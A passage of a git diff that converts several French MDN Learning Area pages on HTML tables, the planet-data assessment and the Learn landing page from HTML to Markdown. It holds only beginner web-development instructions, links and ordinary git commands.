colonnes des jours où elle enseigne. -<ol> - <li>Tout d'abord, faites une copie locale du fichier <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html">timetable.html</a> dans un nouveau répertoire sur votre ordinateur. Le HTML contient le tableau vu ci-dessus, à l'exception des informations de style des colonnes.</li> - <li>Ajoutez un élément <code><colgroup></code> au début du tableau, juste en dessous de la balise <code><table></code>,dans lequel vous pouvez ajouter vos éléments <code><col></code> (voir les étapes restantes ci-dessous).</li> - <li>Les deux premières colonnes doivent rester sans style.</li> - <li>Ajoutez une couleur de fond à la troisième colonne. La valeur de votre attribut <code>style</code> est <code>background-color:#97DB9A;</code></li> - <li>Définissez une largeur différente pour la quatrième colonne. La valeur de votre attribut <code>style</code> est <code>width: 42px;</code></li> - <li>Ajoutez une couleur de fond pour la cinquième colonne. La valeur de votre attribut <code>style</code> est <code>background-color: #97DB9A;</code></li> - <li>Ajoutez une couleur de fond différente et une bordure pour la sixième colonne, pour signifier que c'est une journée spéciale et qu'elle enseigne à une nouvelle classe. Les valeurs de votre attribut <code>style</code> sont <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li> - <li>Les deux derniers jours sont libres, alors pas de couleur de fond mais une largeur à spécifier ; la valeur de votre attribut <code>style</code> est <code>width: 42px;</code></li> -</ol> +{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}} -<p>Voyez comment vous lisez avec l'exemple. Si vous êtes coincé ou souhaitez vérifier votre travail, vous pouvez trouver notre version <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> (à<a href="http://mdn.github.io/learning-area/html/tables/basic/timetable-fixed.html"> voir aussi</a> directement) sur GitHub .</p> +Recréez le tableau en suivant les étapes ci-dessous. -<h2 id="Résumé">Résumé</h2> +1. Tout d'abord, faites une copie locale du fichier [timetable.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html) dans un nouveau répertoire sur votre ordinateur. Le HTML contient le tableau vu ci-dessus, à l'exception des informations de style des colonnes. +2. Ajoutez un élément `<colgroup>` au début du tableau, juste en dessous de la balise `<table>`,dans lequel vous pouvez ajouter vos éléments `<col>` (voir les étapes restantes ci-dessous). +3. Les deux premières colonnes doivent rester sans style. +4. Ajoutez une couleur de fond à la troisième colonne. La valeur de votre attribut `style` est `background-color:#97DB9A;` +5. Définissez une largeur différente pour la quatrième colonne. La valeur de votre attribut `style` est `width: 42px;` +6. Ajoutez une couleur de fond pour la cinquième colonne. La valeur de votre attribut `style` est `background-color: #97DB9A;` +7. Ajoutez une couleur de fond différente et une bordure pour la sixième colonne, pour signifier que c'est une journée spéciale et qu'elle enseigne à une nouvelle classe. Les valeurs de votre attribut `style` sont `background-color:#DCC48E; border:4px solid #C1437A;` +8. Les deux derniers jours sont libres, alors pas de couleur de fond mais une largeur à spécifier ; la valeur de votre attribut `style` est `width: 42px;` -<p>Cela ne fait que compléter les bases des tableaux HTML. Dans l'article suivant, nous allons voir quelques fonctionnalités de tableaux un peu plus avancées et commencer à penser à quel point elles sont accessibles pour les malvoyants.</p> +Voyez comment vous lisez avec l'exemple. Si vous êtes coincé ou souhaitez vérifier votre travail, vous pouvez trouver notre version [timetable-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html) (à[ voir aussi](http://mdn.github.io/learning-area/html/tables/basic/timetable-fixed.html) directement) sur GitHub . -<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> +## Résumé +Cela ne fait que compléter les bases des tableaux HTML. Dans l'article suivant, nous allons voir quelques fonctionnalités de tableaux un peu plus avancées et commencer à penser à quel point elles sont accessibles pour les malvoyants. +{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}} -<div> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/HTML/Tables/Basics">Bases des tableaux en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Tables/Advanced">Caractéristiques avancées des tableaux en HTML et accessibilité</a></li> - <li><a href="/fr/docs/Learn/HTML/Tables/Structuring_planet_data">Structuration de données sur les planètes</a></li> -</ul> -</div> +- [Bases des tableaux en HTML](/fr/docs/Learn/HTML/Tables/Basics) +- [Caractéristiques avancées des tableaux en HTML et accessibilité](/fr/docs/Learn/HTML/Tables/Advanced) +- [Structuration de données sur les planètes](/fr/docs/Learn/HTML/Tables/Structuring_planet_data) diff --git a/files/fr/learn/html/tables/index.md b/files/fr/learn/html/tables/index.md index e29779b351..6e5436c43b 100644 --- a/files/fr/learn/html/tables/index.md +++ b/files/fr/learn/html/tables/index.md @@ -13,32 +13,26 @@ tags: translation_of: Learn/HTML/Tables original_slug: Apprendre/HTML/Tableaux --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Une tâche assez courante en HTML consiste à structurer des données sous forme de tableaux. HTML dispose d'un certain nombre d'éléments avec attributs à cet effet. Couplé avec un peu de <a href="/fr/docs/Learn/CSS">CSS</a> pour styliser ces tableaux, HTML facilite l'affichage d'informations dans des tableaux sur le web comme les emplois du temps de l'école par exemple, les horaires d'ouverture de la piscine du quartier ou des statistiques à propos de votre équipe de football ou de dinosaures favorite. Ce module parcourt tout ce que vous devez savoir pour structurer des données sous forme de tableaux en utilisant HTML.</p> +Une tâche assez courante en HTML consiste à structurer des données sous forme de tableaux. HTML dispose d'un certain nombre d'éléments avec attributs à cet effet. Couplé avec un peu de [CSS](/fr/docs/Learn/CSS) pour styliser ces tableaux, HTML facilite l'affichage d'informations dans des tableaux sur le web comme les emplois du temps de l'école par exemple, les horaires d'ouverture de la piscine du quartier ou des statistiques à propos de votre équipe de football ou de dinosaures favorite. Ce module parcourt tout ce que vous devez savoir pour structurer des données sous forme de tableaux en utilisant HTML. -<h2 id="Prérequis">Prérequis</h2> +## Prérequis -<p>Avant de commencer ce module, vous devez déjà connaître les bases du HTML — voyez <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>.</p> +Avant de commencer ce module, vous devez déjà connaître les bases du HTML — voyez [Introduction au HTML](/fr/docs/Learn/HTML/Introduction_to_HTML). -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez sur un ordinateur/tablette/autre appareil avec lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous devriez essayer (la plupart) des exemples de code dans un programme de codage en ligne comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur/tablette/autre appareil avec lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous devriez essayer (la plupart) des exemples de code dans un programme de codage en ligne comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<p>Ce module contient les articles suivants :</p> +Ce module contient les articles suivants : -<dl> - <dt><a href="/fr/docs/Learn/HTML/Tables/Basics">Bases à propos des Tableaux en HTML</a></dt> - <dd>Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, cellules, en-têtes, cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style.</dd> - <dt><a href="/fr/docs/Learn/HTML/Tables/Advanced">Caractéristiques avancées des Tableaux HTML et accessibilité</a></dt> - <dd>Dans le second article de ce module, nous allons aborder quelques fonctionnalités plus avancées des tableaux en HTML — comme les intitulés / résumés et le regroupement de rangées dans des sections d'en-tête, de corps ou de pied — ainsi que l'accessibilité aux tableaux pour des utilisateurs ayant des problèmes visuels.</dd> -</dl> +- [Bases à propos des Tableaux en HTML](/fr/docs/Learn/HTML/Tables/Basics) + - : Cet article vous initie aux tableaux en HTML. Il porte sur les bases comme les rangées, cellules, en-têtes, cellules sur plusieurs colonnes ou lignes, ainsi que sur la façon de regrouper les cellules dans une colonne en vue d'affecter un style. +- [Caractéristiques avancées des Tableaux HTML et accessibilité](/fr/docs/Learn/HTML/Tables/Advanced) + - : Dans le second article de ce module, nous allons aborder quelques fonctionnalités plus avancées des tableaux en HTML — comme les intitulés / résumés et le regroupement de rangées dans des sections d'en-tête, de corps ou de pied — ainsi que l'accessibilité aux tableaux pour des utilisateurs ayant des problèmes visuels. -<h2 id="Évaluation_des_connaissances">Évaluation des connaissances</h2> +## Évaluation des connaissances -<dl> - <dt><a href="/fr/docs/Learn/HTML/Tables/Structuring_planet_data">Structuration de données sur les planètes</a></dt> - <dd>Pour une évaluation des connaissances en matière de tableaux, nous vous fournissons quelques données sur les planètes du système solaire et nous vous demandons de les structurer sous forme de tableau HTML.</dd> -</dl> +- [Structuration de données sur les planètes](/fr/docs/Learn/HTML/Tables/Structuring_planet_data) + - : Pour une évaluation des connaissances en matière de tableaux, nous vous fournissons quelques données sur les planètes du système solaire et nous vous demandons de les structurer sous forme de tableau HTML. diff --git a/files/fr/learn/html/tables/structuring_planet_data/index.md b/files/fr/learn/html/tables/structuring_planet_data/index.md index 303bf2fdf9..c99f0c9cc5 100644 --- a/files/fr/learn/html/tables/structuring_planet_data/index.md +++ b/files/fr/learn/html/tables/structuring_planet_data/index.md @@ -4,70 +4,65 @@ slug: Learn/HTML/Tables/Structuring_planet_data translation_of: Learn/HTML/Tables/Structuring_planet_data original_slug: Apprendre/HTML/Tableaux/Structuring_planet_data --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}} -<div>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div> - -<p>Dans notre évaluation, nous vous fournissons des données sur les planètes de notre système solaire pour vous permettre de les structurer dans un tableau HTML.</p> +Dans notre évaluation, nous vous fournissons des données sur les planètes de notre système solaire pour vous permettre de les structurer dans un tableau HTML. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Avant de tenter cette évaluation, vous devez déjà avoir travaillé tous les articles de ce module.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Vérifier la compréhension des tableaux HTML et des fonctionnalités associées.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Avant de tenter cette évaluation, vous devez déjà avoir travaillé tous + les articles de ce module. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Vérifier la compréhension des tableaux HTML et des fonctionnalités + associées. + </td> + </tr> + </tbody> </table> -<h2 id="Point_de_départ">Point de départ</h2> - -<p>Pour commencer cette évaluation, créez des copies locales de blank-template.html, minimal-table.css et planets-data.txt dans un nouveau répertoire dans votre ordinateur.</p> +## Point de départ -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi utiliser un site comme<a class="external external-icon" href="https://jsbin.com/">JSBin</a> ou <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> pour votre évaluation. Vous pouvez coller les HTML, CSS et JavaScript dans l'un de ces éditeurs en ligne. Si votre éditeur en ligne n'a pas de panneaux séparés JavaScript/CSS, n'hésitez pas à les mettre en ligne <code><script></code>/<code><style></code> dans la page HTML.</p> -</div> +Pour commencer cette évaluation, créez des copies locales de blank-template.html, minimal-table.css et planets-data.txt dans un nouveau répertoire dans votre ordinateur. -<h2 id="Résumé_du_projet">Résumé du projet</h2> +> **Note :** Vous pouvez aussi utiliser un site comme[JSBin](https://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/) pour votre évaluation. Vous pouvez coller les HTML, CSS et JavaScript dans l'un de ces éditeurs en ligne. Si votre éditeur en ligne n'a pas de panneaux séparés JavaScript/CSS, n'hésitez pas à les mettre en ligne `<script>`/`<style>` dans la page HTML. -<p>Vous travaillez dans une école ; actuellement, vos étudiants étudient les planètes de notre système solaire, et vous souhaitez leur fournir un ensemble de données faciles à suivre, pour rechercher des faits et des chiffres sur les planètes. Un tableau de données HTML serait idéal : vous devez prendre les données brutes disponibles et les organiser en tableau, en suivant les étapes ci-dessous.</p> +## Résumé du projet -<p>Le tableau terminé devrait ressembler à celui-ci :</p> +Vous travaillez dans une école ; actuellement, vos étudiants étudient les planètes de notre système solaire, et vous souhaitez leur fournir un ensemble de données faciles à suivre, pour rechercher des faits et des chiffres sur les planètes. Un tableau de données HTML serait idéal : vous devez prendre les données brutes disponibles et les organiser en tableau, en suivant les étapes ci-dessous. -<p><img alt="" src="assessment-table.png"></p> +Le tableau terminé devrait ressembler à celui-ci : -<p>Vous pouvez aussi <a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">regarder l'exemple ici</a> (sans regarder le code source — ne trichez pas !)</p> + -<ul> -</ul> +Vous pouvez aussi [regarder l'exemple ici](https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html) (sans regarder le code source — ne trichez pas !) -<h2 id="Étapes_à_suivre">Étapes à suivre</h2> +## Étapes à suivre -<p>Les étapes suivantes décrivent ce que vous devez faire pour complèter l'exemple de tableau. Toutes les données dont vous avez besoin sont contenues dans le fichier <code>planets-data.txt</code>. Si vous avez du mal à visualiser les données, regardez l'exemple donné dans le lien ci-dessus, ou essayez de dessiner un diagramme.</p> +Les étapes suivantes décrivent ce que vous devez faire pour complèter l'exemple de tableau. Toutes les données dont vous avez besoin sont contenues dans le fichier `planets-data.txt`. Si vous avez du mal à visualiser les données, regardez l'exemple donné dans le lien ci-dessus, ou essayez de dessiner un diagramme. -<ol> - <li>Ouvrez votre copie de <code>blank-template.html</code>, et commencez le tableau en lui donnant un conteneur extérieur, un en-tête et un corps de tableau. Vous n'avez pas besoin d'un pied de tableau dans cet exemple.</li> - <li>Ajoutez la légende fournie à votre tableau.</li> - <li>Ajoutez une ligne à l'en-tête contenant tous les en-têtes de colonnes.</li> - <li>Créez toutes les lignes de contenu du corps du tableau, en vous rappelant de faire systématiquement tous les en-têtes de lignes.</li> - <li>Assurez-vous que tout le contenu est inséré dans les cellules de droite - dans les données brutes, chaque ligne de données d'une planète est affiché à côté de la planète associée.</li> - <li>Ajoutez les attributs pour créer des en-têtes de lignes et colonnes ne pouvant être confondus avec les lignes, colonnes et groupes de lignes dont ils sont les en-têtes.</li> - <li>Ajoutez une bordure noire pour entourer la colonne contenant les noms des planètes (en-têtes de lignes).</li> -</ol> +1. Ouvrez votre copie de `blank-template.html`, et commencez le tableau en lui donnant un conteneur extérieur, un en-tête et un corps de tableau. Vous n'avez pas besoin d'un pied de tableau dans cet exemple. +2. Ajoutez la légende fournie à votre tableau. +3. Ajoutez une ligne à l'en-tête contenant tous les en-têtes de colonnes. +4. Créez toutes les lignes de contenu du corps du tableau, en vous rappelant de faire systématiquement tous les en-têtes de lignes. +5. Assurez-vous que tout le contenu est inséré dans les cellules de droite - dans les données brutes, chaque ligne de données d'une planète est affiché à côté de la planète associée. +6. Ajoutez les attributs pour créer des en-têtes de lignes et colonnes ne pouvant être confondus avec les lignes, colonnes et groupes de lignes dont ils sont les en-têtes. +7. Ajoutez une bordure noire pour entourer la colonne contenant les noms des planètes (en-têtes de lignes). -<h2 id="Conseils_et_astuces">Conseils et astuces</h2> +## Conseils et astuces -<ul> - <li>La première cellule de la ligne d'en-tête doit être vierge et couvrir deux colonnes.</li> - <li>Les en-têtes regrouppant des lignes (<em>exemple : les planètes joviennes</em>) qui sont à gauche des en-têtes de lignes des noms des planètes (exemple : <em>Saturne</em>) sont un peu difficiles à trier — vous devez vous assurer que chacun d'eux couvre le bon nombre de lignes et colonnes.</li> - <li>une des méthodes d'association des en-têtes avec leurs lignes et colonnes est un peu plus facile que l'autre.</li> -</ul> +- La première cellule de la ligne d'en-tête doit être vierge et couvrir deux colonnes. +- Les en-têtes regrouppant des lignes (_exemple : les planètes joviennes_) qui sont à gauche des en-têtes de lignes des noms des planètes (exemple : _Saturne_) sont un peu difficiles à trier — vous devez vous assurer que chacun d'eux couvre le bon nombre de lignes et colonnes. +- une des méthodes d'association des en-têtes avec leurs lignes et colonnes est un peu plus facile que l'autre. -<h2 id="Correction">Correction</h2> +## Correction -<p>Si vous réalisez cette évaluation dans le cadre d'un cours organisé, vous devez pouvoir remettre votre travail à votre professeur/formateur pour la correction. Si vous êtes en auto-apprentissage, alors vous pouvez obtenir aisément le guide de correction par une demande auprès de <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, ou dans le <a href="irc://irc.mozilla.org/mdn">#mdn</a> canal IRC sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Essayez d'abord l'exercice — il n'y a rien à gagner en trichant !</p> +Si vous réalisez cette évaluation dans le cadre d'un cours organisé, vous devez pouvoir remettre votre travail à votre professeur/formateur pour la correction. Si vous êtes en auto-apprentissage, alors vous pouvez obtenir aisément le guide de correction par une demande auprès de [Learning Area Discourse thread](https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294), ou dans le [#mdn](irc://irc.mozilla.org/mdn) canal IRC sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Essayez d'abord l'exercice — il n'y a rien à gagner en trichant ! -<p>{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</p> +{{PreviousMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}} diff --git a/files/fr/learn/index.md b/files/fr/learn/index.md index b21e54c010..31494005d5 100644 --- a/files/fr/learn/index.md +++ b/files/fr/learn/index.md @@ -14,125 +14,129 @@ tags: translation_of: Learn original_slug: Apprendre --- -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<p>Bienvenue dans l'Espace d'apprentissage (<i>Learning Area</i>) de MDN. Cet ensemble d'articles a pour but de fournir aux développeurs web débutants tout ce dont ils ont besoin pour commencer à développer des sites web simples.</p> - -<p>Le but de cette section de MDN n'est pas de vous faire passer de « débutant » à « expert », mais plutôt de vous mettre à l'aise avec les technologies. À partir de là, vous devriez être capable de vous débrouiller par vous-même, en utilisant <a href="/fr/docs/Web">le reste du contenu de MDN</a> et d'autres ressources.</p> - -<p>Si vous débutez complètement, le développement web peut être un réel défi — notre but est de simplifier suffisamment le sujet pour que vous appreniez facilement, tout en vous fournissant assez de détails pour que vous soyez autonome. Vous devriez vous sentir chez vous, que vous soyez un étudiant apprenant le développement web (de votre propre gré ou dans le cadre de vos études), un enseignant recherchant des supports de cours, un amateur ou quelqu'un qui souhaite simplement comprendre la manière dont fonctionnent le Web et ses technologies.</p> - -<h2 id="Whats_new">Quoi de neuf ?</h2> - -<p>Le contenu de l'espace d'apprentissage est régulièrement enrichi. Nous avons commencé à conserver <a href="/fr/docs/Learn/Release_notes">les notes de version de l'espace de formation</a> afin de vous indiquer ce qui a changé - n'hésitez pas à revenir fréquemment !</p> - -<p>Si vous avez des questions concernant des sujets que vous aimeriez voir couverts ou si vous pensez qu'il en manque, envoyez-nous un message sur notre <a href="https://discourse.mozilla.org/c/mdn">Forum de discussion</a>.</p> - -<div class="callout"> - <p>Vous voulez devenir un développeur web front-end ?</p> - <p>Nous avons mis au point un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.</p> - <p><a href="/fr/docs/Learn/Front-end_web_developer">Commencer</a></p> -</div> - -<h2 id="Where_to_start">Par où commencer ?</h2> - -<dl> - <dt>Complètement débutant</dt> - <dd>Si vous êtes totalement débutant dans le développement web, nous vous recommandons de commencer par travailler notre module <a href="/fr/docs/Learn/Getting_started_with_the_web">« Premiers pas sur le Web »</a>, qui est une introduction pratique au développement web.</dd> - <dt>Au-delà des bases</dt> - <dd>Si vous possédez déjà quelques connaissances, l'étape suivante consiste à étudier en détail le {{glossary("HTML")}} et les {{glossary("CSS")}} : débutez avec notre module <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>, puis voyez le module <a href="/fr/docs/Learn/CSS/First_steps">Introduction aux CSS</a>.</dd> - <dt>Écrire des scripts</dt> - <dd>Si vous êtes déjà à l'aise avec le HTML et les CSS, ou si vous êtes plutôt intéressé par le codage, voyez le {{glossary("JavaScript")}} ou le développement côté serveur. Commencez par nos modules <a href="/fr/docs/Learn/JavaScript/First_steps">JavaScript : premiers pas</a> et <a href="/fr/docs/Learn/Server-side/First_steps">Premiers pas côté serveur</a>.</dd> - <dt>Les <i>frameworks</i> et l'outillage</dt> - <dd>Lorsque vous aurez appris l'essentiel de HTML, CSS, et JavaScript, vous devriez étudier <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools">les outils de développement web côté client</a> et éventuellement approfondir <a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks">les <i>frameworks</i> JavaScript côté client</a>, ainsi <a href="/fr/docs/Learn/Server-side">que la programmation des sites web côté serveur</a>.</dd> -</dl> - -<div class="note"> - <p><strong>Note :</strong> Notre <a href="/fr/docs/Glossary">Glossaire</a> fournit des définitions de la terminologie employée.</p> -</div> - -<p>{{LearnBox({"title":"Entrée aléatoire dans le glossaire"})}}</p> - -<h2 id="Topics_covered">Rubriques couvertes</h2> - -<p>Voici une liste de toutes les rubriques couvertes dans la zone d'apprentissage de MDN.</p> - -<dl> - <dt><a href="/fr/docs/Learn/Getting_started_with_the_web">Débuter avec le développement web</a></dt> - <dd>Une introduction pratique au développement web pour les vrais débutants.</dd> - <dt><a href="/fr/docs/Learn/HTML">HTML — structuration du Web</a></dt> - <dd>Le HTML est le langage utilisé pour structurer les diverses parties d'un contenu et définir leur signification et leur rôle. Cet article vous enseigne le HTML en détail.</dd> - <dt><a href="/fr/docs/Learn/CSS">CSS — mise en forme du Web</a></dt> - <dd>CSS est le langage que nous pouvons aussi bien utiliser pour styliser et mettre en forme les contenus web que pour ajouter des comportements tel l'animation. Cet article couvre exhaustivement les CSS.</dd> - <dt><a href="/fr/docs/Learn/JavaScript">JavaScript — des scripts dynamiques coté client</a></dt> - <dd>C'est le langage de script utilisé pour ajouter des fonctionnalités dynamiques aux pages web. Cet article enseigne les fondamentaux nécessaires pour comprendre et écrire aisément du JavaScript.</dd> - <dt><a href="/fr/docs/Learn/Forms">Les formulaires web — Manipuler les données saisies par les utilisateurs</a></dt> - <dd>Les formulaires web sont un outil puissant pour interagir avec les utilisateurs. Ils permettent notamment de collecter des données ou d'offrir aux utilisateurs la possibilité de contrôler l'interface qu'ils utilisent. Dans ces articles, nous verrons les aspects essentiels sur la structure, la mise en forme et les interactions avec les formulaires web.</dd> - <dt><a href="/fr/docs/Learn/Accessibility">Accessibilité — rendre le Web utilisable par tous</a></dt> - <dd>L'accessibilité consiste à rendre le contenu web disponible au plus grand nombre de personnes possible quels que soient leur handicap, leur matériel, leur résidence ou autres différences. Cet article fournit tout le savoir nécessaire.</dd> - <dt><a href="/fr/docs/Learn/Performance">Performances du Web - rendre les sites web rapides et dynamiques</a></dt> - <dd>La performance web est l'art de s'assurer que les applications web se téléchargent rapidement et sont réactives à l'interaction de l'utilisateur, indépendamment de la bande passante, de la taille de l'écran, du réseau ou des capacités du dispositif de l'utilisateur.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing">Outils et tests</a></dt> - <dd>Cette rubrique présente les outils que les développeurs utilisent pour faciliter leur travail, tels que les outils de test inter-navigateurs, les <i>linters</i>, les outils de transformations et de mise en forme, les systèmes de gestion de version, et les outils de déploiement.</dd> - <dt><a href="/fr/docs/Learn/Server-side">Programmation de site web coté serveur</a></dt> - <dd>Même si vous êtes focalisés sur le développement côté client, il est toujours utile de connaître le mode de fonctionnement des serveurs et des fonctionnalités du code côté serveur. Cette rubrique fournit une introduction générale sur le fonctionnement côté serveur et des didacticiels détaillant la manière de créer une application côté serveur à l'aide de deux environnements applicatifs populaires : Django (en Python) et Express (Node.js).</dd> -</dl> - -<h2 id="Getting_our_code_examples">Obtenir nos exemples de code</h2> - -<p>Les exemples de code que vous rencontrerez dans l'Espace d'apprentissage sont tous <a href="https://github.com/mdn/learning-area/">disponibles sur GitHub</a>. Si vous souhaitez les copier tous sur votre ordinateur, le plus simple est de <a href="https://github.com/mdn/learning-area/archive/master.zip">télécharger un ZIP de la dernière branche du code principal</a>.</p> - -<p>Si vous préférez copier le dépôt d'une manière plus flexible qui permet des mises à jour automatiques, vous pouvez suivre les instructions plus complexes :</p> - -<ol> - <li><a href="https://git-scm.com/downloads">Installer Git</a> sur votre machine. C'est le logiciel sous-jacent de contrôle de version sur lequel GitHub fonctionne.</li> - <li><a href="https://github.com/join">S'inscrire pour obtenir un compte GitHub</a>.</li> - <li>Une fois inscrit, se connecter dans <a href="https://github.com">github.com</a> avec votre nom d'utilisateur et votre mot de passe.</li> - <li>Ouvrir l'<a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">invite de commande</a> (Windows) ou un terminal (<a href="https://help.ubuntu.com/community/UsingTheTerminal">Linux</a>, <a href="http://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">macOS</a>).</li> - <li>Pour copier depuis le dépôt de l'espace d'apprentissage un répertoire nommé « learning-area » à l'emplacement courant dans votre ordinateur, utilisez la commande suivante : - <pre class="brush:bash">git clone https://github.com/mdn/learning-area</pre> - </li> - <li>Vous pouvez maintenant saisir le répertoire et retrouver les fichiers recherchés (soit avec votre explorateur de fichiers ou avec la <a href="https://en.wikipedia.org/wiki/Cd_(command)">commande <code>cd</code></a>).</li> -</ol> - -<p>Vous pouvez mettre à jour le dépôt de <code>learning-area</code> pour tout changement intervenu sur la version principale « main » de GitHub en parcourant les étapes suivantes :</p> - -<ol> - <li>Dans votre terminal/invite de commande, allez dans le répertoire <code>learning-area</code> avec <code>cd</code>. Par exemple, si vous êtes dans son répertoire parent : - <pre class="brush:bash">cd learning-area</pre> - </li> - <li>Mettez à jour le dépôt avec la commande : - <pre class="brush:bash">git pull</pre> - </li> -</ol> - -<h2 id="Nous_contacter">Nous contacter</h2> - -<p>Si vous voulez nous contacter au sujet de quoi que ce soit, le meilleur moyen est de nous envoyer un message sur le <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">fil de discussion de l'Espace d'apprentissage</a>. N'hésitez pas à nous faire part de tout ce que vous pensez être erroné ou manquant sur le site, des demandes de nouveaux sujets d'apprentissage, des demandes d'aide pour des éléments que vous ne comprenez pas ou toute autre question ou préoccupation.</p> - -<p>Si vous êtes intéressé pour aider à développer/améliorer le contenu, jetez un coup d'œil à la <a href="/fr/docs/MDN/Contribute">façon dont vous pouvez aider</a>, et contactez-nous ! Nous sommes plus qu'heureux de parler avec vous, que vous soyez un apprenti, un enseignant, un développeur web expérimenté ou quelqu'un d'autre intéressé à améliorer l'expérience d'apprentissage.</p> - -<h2 id="See_also">Voir aussi</h2> - -<dl> - <dt><a href="https://www.mozilla.org/en-US/newsletter/developer/">Mozilla Developer Newsletter</a></dt> - <dd>Notre newsletter pour les développeurs web, une grande aide pour tous niveaux de compétence.</dd> - <dt><a href="https://learnjavascript.online/">Learn JavaScript</a></dt> - <dd>Une excellente ressource pour les futurs développeurs web - Apprenez JavaScript dans un environnement interactif, avec des leçons courtes et des tests interactifs, avec une évaluation automatisée. Les 40 premières leçons sont gratuites, et le cours complet est disponible contre un petit paiement unique.</dd> - <dt><a href="https://www.youtube.com/playlist?list=PLo3w8EB99pqLEopnunz-dOOBJ8t-Wgt2g">Web demystified</a></dt> - <dd>Une grande série de vidéos expliquant les principes fondamentaux du Web, destinée aux débutants absolus en matière de développement web. Créé par <a href="https://twitter.com/JeremiePat">Jérémie Patonnier</a>.</dd> - <dt><a href="https://www.codecademy.com/">Codecademy</a></dt> - <dd>Un site interactif pour apprendre les langages de programmation à partir du début.</dd> - <dt><a href="https://www.bitdegree.org/learn/">BitDegree</a></dt> - <dd>Théorie de base du codage avec un processus d'apprentissage ludique. Principalement destiné aux débutants.</dd> - <dt><a href="https://code.org/">Code.org</a></dt> - <dd>Théories de codage de base et pratique, destiné essentiellement aux enfants et aux débutants.</dd> - <dt><a href="https://exlskills.com/learn-en/courses">EXLskills</a></dt> - <dd>Cours gratuits et ouverts pour l'acquisition de compétences techniques, avec mentorat et apprentissage par projet.</dd> - <dt><a href="https://www.freecodecamp.org/">freeCodeCamp.org</a></dt> - <dd>Site interactif avec didacticiels et projets pour apprendre le développement web.</dd> - <dt><a href="https://foundation.mozilla.org/en/initiatives/web-literacy/core-curriculum/">Web literacy map</a></dt> - <dd>Un <i>framework</i> pour l'initiation à la maîtrise du Web et aux compétences du XXI<sup>e</sup> siècle, qui donne également accès à des activités d'enseignement classées par catégorie.</dd> - <dt><a href="https://edabit.com/challenges">Edabit</a></dt> - <dd>Des milliers de défis JavaScript interactifs.</dd> -</dl> +Bienvenue dans l'Espace d'apprentissage (_Learning Area_) de MDN. Cet ensemble d'articles a pour but de fournir aux développeurs web débutants tout ce dont ils ont besoin pour commencer à développer des sites web simples. + +Le but de cette section de MDN n'est pas de vous faire passer de « débutant » à « expert », mais plutôt de vous mettre à l'aise avec les technologies. À partir de là, vous devriez être capable de vous débrouiller par vous-même, en utilisant [le reste du contenu de MDN](/fr/docs/Web) et d'autres ressources. + +Si vous débutez complètement, le développement web peut être un réel défi — notre but est de simplifier suffisamment le sujet pour que vous appreniez facilement, tout en vous fournissant assez de détails pour que vous soyez autonome. Vous devriez vous sentir chez vous, que vous soyez un étudiant apprenant le développement web (de votre propre gré ou dans le cadre de vos études), un enseignant recherchant des supports de cours, un amateur ou quelqu'un qui souhaite simplement comprendre la manière dont fonctionnent le Web et ses technologies. + +## Quoi de neuf ? + +Le contenu de l'espace d'apprentissage est régulièrement enrichi. Nous avons commencé à conserver [les notes de version de l'espace de formation](/fr/docs/Learn/Release_notes) afin de vous indiquer ce qui a changé - n'hésitez pas à revenir fréquemment ! + +Si vous avez des questions concernant des sujets que vous aimeriez voir couverts ou si vous pensez qu'il en manque, envoyez-nous 